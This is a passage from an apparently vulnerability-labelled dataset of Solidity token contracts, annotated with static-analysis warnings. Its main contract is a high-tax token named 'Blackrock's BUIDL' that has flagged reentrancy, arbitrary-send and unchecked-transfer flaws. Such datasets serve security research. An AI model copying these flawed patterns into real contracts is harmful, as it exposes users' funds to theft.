swapTokensAtAmount) {\n tokensToSwap = contractBalance;\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n } else {\n if (\n contractBalance > 0 &&\n contractBalance < swapTokensAtAmount.div(5)\n ) {\n return;\n } else if (\n contractBalance > 0 &&\n contractBalance > swapTokensAtAmount.div(5) &&\n contractBalance < swapTokensAtAmount\n ) {\n tokensToSwap = swapTokensAtAmount.div(5);\n } else {\n uint256 sellFeeTokens = tokens.mul(SellFee).div(100);\n\n tokens -= sellFeeTokens;\n\n if (tokens > swapTokensAtAmount) {\n tokensToSwap = swapTokensAtAmount;\n } else {\n tokensToSwap = tokens;\n }\n }\n }\n\n swapTokensForEth(tokensToSwap);\n }\n}\n",
"file_name": "solidity_code_10169.sol",
"size_bytes": 28601,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BUIDL is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 363a83e): BUIDL._taxWallet should be immutable \n\t// Recommendation for 363a83e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 55e56aa): BUIDL._initialBuyTax should be constant \n\t// Recommendation for 55e56aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 84314e1): BUIDL._initialSellTax should be constant \n\t// Recommendation for 84314e1: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 272df20): BUIDL._finalBuyTax should be constant \n\t// Recommendation for 272df20: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1af58cc): BUIDL._finalSellTax should be constant \n\t// Recommendation for 1af58cc: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b916f5): BUIDL._reduceBuyTaxAt should be constant \n\t// Recommendation for 7b916f5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2f9afd9): BUIDL._reduceSellTaxAt should be constant \n\t// Recommendation for 2f9afd9: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 848315c): BUIDL._preventSwapBefore should be constant \n\t// Recommendation for 848315c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 35;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Blackrock's BUIDL\";\n\n string private constant _symbol = unicode\"BUIDL\";\n\n uint256 public _maxTxAmount = 2000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 2000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 63bb037): BUIDL._taxSwapThreshold should be constant \n\t// Recommendation for 63bb037: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3ac7886): BUIDL._maxTaxSwap should be constant \n\t// Recommendation for 3ac7886: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 1000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 38d4dbd): BUIDL.uniswapV2Router should be immutable \n\t// Recommendation for 38d4dbd: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1afe0e2): BUIDL.uniswapV2Pair should be immutable \n\t// Recommendation for 1afe0e2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5e021ca): BUIDL.sellsPerBlock should be constant \n\t// Recommendation for 5e021ca: Add the 'constant' attribute to state variables that never change.\n uint256 private sellsPerBlock = 3;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ae4fb5): BUIDL.buysFirstBlock should be constant \n\t// Recommendation for 1ae4fb5: Add the 'constant' attribute to state variables that never change.\n uint256 private buysFirstBlock = 60;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), address(this), _tTotal);\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n marketPair[address(uniswapV2Pair)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d6d3e31): BUIDL.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d6d3e31: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 897a31a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 897a31a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 304ec15): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 304ec15: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 897a31a\n\t\t// reentrancy-benign | ID: 304ec15\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 897a31a\n\t\t// reentrancy-benign | ID: 304ec15\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 08a9453): BUIDL._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 08a9453: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 304ec15\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 897a31a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ae1f4b0): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ae1f4b0: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 126bf1e): BUIDL._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 126bf1e: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0e943cd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0e943cd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3b007f4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3b007f4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n\t\t\t// incorrect-equality | ID: 126bf1e\n if (block.number == firstBlock) {\n require(\n perBuyCount[block.number] < buysFirstBlock,\n \"Exceeds buys on the first block.\"\n );\n\n perBuyCount[block.number]++;\n }\n\n if (\n marketPair[from] &&\n to != address(uniswapV2Router) &&\n !isExile[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (!marketPair[to] && !isExile[to]) {\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n }\n\n if (marketPair[to] && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n if (!marketPair[from] && !marketPair[to] && from != address(this)) {\n taxAmount = 0;\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < sellsPerBlock);\n\n\t\t\t\t// reentrancy-events | ID: ae1f4b0\n\t\t\t\t// reentrancy-eth | ID: 0e943cd\n\t\t\t\t// reentrancy-eth | ID: 3b007f4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae1f4b0\n\t\t\t\t\t// reentrancy-eth | ID: 0e943cd\n\t\t\t\t\t// reentrancy-eth | ID: 3b007f4\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: 0e943cd\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: 0e943cd\n lastSellBlock = block.number;\n } else if (\n !inSwap &&\n marketPair[to] &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: ae1f4b0\n\t\t\t\t// reentrancy-eth | ID: 3b007f4\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: ae1f4b0\n\t\t\t\t\t// reentrancy-eth | ID: 3b007f4\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 3b007f4\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: ae1f4b0\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 3b007f4\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 3b007f4\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: ae1f4b0\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ae1f4b0\n\t\t// reentrancy-events | ID: 897a31a\n\t\t// reentrancy-benign | ID: 304ec15\n\t\t// reentrancy-eth | ID: 0e943cd\n\t\t// reentrancy-eth | ID: 3b007f4\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: ef7d9ef): BUIDL.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for ef7d9ef: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ae1f4b0\n\t\t// reentrancy-events | ID: 897a31a\n\t\t// reentrancy-eth | ID: 0e943cd\n\t\t// reentrancy-eth | ID: 3b007f4\n\t\t// arbitrary-send-eth | ID: ef7d9ef\n _taxWallet.transfer(amount);\n }\n\n function rescueETH() external {\n require(_msgSender() == _taxWallet);\n\n payable(_taxWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 381a16d): BUIDL.rescueTokens(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_taxWallet,_amount)\n\t// Recommendation for 381a16d: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueTokens(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _taxWallet);\n\n\t\t// unchecked-transfer | ID: 381a16d\n IERC20(_tokenAddr).transfer(_taxWallet, _amount);\n }\n\n function isNotRestricted() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3d03131): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3d03131: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 63e8699): BUIDL.enableTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 63e8699: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 707c52e): BUIDL.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 707c52e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9d1b8f1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9d1b8f1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n\t\t// reentrancy-benign | ID: 3d03131\n\t\t// unused-return | ID: 707c52e\n\t\t// reentrancy-eth | ID: 9d1b8f1\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3d03131\n\t\t// unused-return | ID: 63e8699\n\t\t// reentrancy-eth | ID: 9d1b8f1\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 3d03131\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 9d1b8f1\n tradingOpen = true;\n\n\t\t// reentrancy-benign | ID: 3d03131\n firstBlock = block.number;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_1017.sol",
"size_bytes": 23070,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _transferOwnership(_msgSender());\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}\n\ninterface IERC20Metadata is IERC20 {\n function name() external view returns (string memory);\n\n function symbol() external view returns (string memory);\n\n function decimals() external view returns (uint8);\n}\n\ninterface IUniswapV2Factory {\n event PairCreated(\n address indexed token0,\n address indexed token1,\n address pair,\n uint256\n );\n\n function feeTo() external view returns (address);\n\n function feeToSetter() external view returns (address);\n\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n\n function allPairs(uint256) external view returns (address pair);\n\n function allPairsLength() external view returns (uint256);\n\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n\n function setFeeTo(address) external;\n\n function setFeeToSetter(address) external;\n}\n\ninterface IUniswapV2Pair {\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n function name() external pure returns (string memory);\n\n function symbol() external pure returns (string memory);\n\n function decimals() external pure returns (uint8);\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address owner) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n function DOMAIN_SEPARATOR() external view returns (bytes32);\n\n function PERMIT_TYPEHASH() external pure returns (bytes32);\n\n function nonces(address owner) external view returns (uint256);\n\n function permit(\n address owner,\n address spender,\n uint256 value,\n uint256 deadline,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external;\n\n event Mint(address indexed sender, uint256 amount0, uint256 amount1);\n\n event Swap(\n address indexed sender,\n uint256 amount0In,\n uint256 amount1In,\n uint256 amount0Out,\n uint256 amount1Out,\n address indexed to\n );\n\n event Sync(uint112 reserve0, uint112 reserve1);\n\n function MINIMUM_LIQUIDITY() external pure returns (uint256);\n\n function factory() external view returns (address);\n\n function token0() external view returns (address);\n\n function token1() external view returns (address);\n\n function getReserves()\n external\n view\n returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);\n\n function price0CumulativeLast() external view returns (uint256);\n\n function price1CumulativeLast() external view returns (uint256);\n\n function kLast() external view returns (uint256);\n\n function mint(address to) external returns (uint256 liquidity);\n\n function swap(\n uint256 amount0Out,\n uint256 amount1Out,\n address to,\n bytes calldata data\n ) external;\n\n function skim(address to) external;\n\n function sync() external;\n\n function initialize(address, address) external;\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n}\n\nlibrary SafeMath {\n function tryAdd(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n uint256 c = a + b;\n\n if (c < a) return (false, 0);\n\n return (true, c);\n }\n }\n\n function trySub(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b > a) return (false, 0);\n\n return (true, a - b);\n }\n }\n\n function tryMul(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (a == 0) return (true, 0);\n\n uint256 c = a * b;\n\n if (c / a != b) return (false, 0);\n\n return (true, c);\n }\n }\n\n function tryDiv(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a / b);\n }\n }\n\n function tryMod(\n uint256 a,\n uint256 b\n ) internal pure returns (bool, uint256) {\n unchecked {\n if (b == 0) return (false, 0);\n\n return (true, a % b);\n }\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n return a + b;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return a - b;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n return a * b;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return a / b;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return a % b;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b <= a, errorMessage);\n\n return a - b;\n }\n }\n\n function per(uint256 a, uint256 b) internal pure returns (uint256) {\n require(b <= 100, \"Percentage must be between 0 and 100\");\n\n return (a * b) / 100;\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a / b;\n }\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n unchecked {\n require(b > 0, errorMessage);\n\n return a % b;\n }\n }\n}\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _transfer(owner, to, amount);\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, amount);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n\n _spendAllowance(from, spender, amount);\n\n _transfer(from, to, amount);\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n _approve(owner, spender, allowance(owner, spender) + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n address owner = _msgSender();\n\n uint256 currentAllowance = allowance(owner, spender);\n\n require(\n currentAllowance >= subtractedValue,\n \"ERC20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(owner, spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(from, to, amount);\n\n uint256 fromBalance = _balances[from];\n\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n unchecked {\n\t\t\t// reentrancy-no-eth | ID: 4fb075d\n _balances[from] = fromBalance - amount;\n\n\t\t\t// reentrancy-no-eth | ID: 4fb075d\n _balances[to] += amount;\n }\n\n\t\t// reentrancy-events | ID: 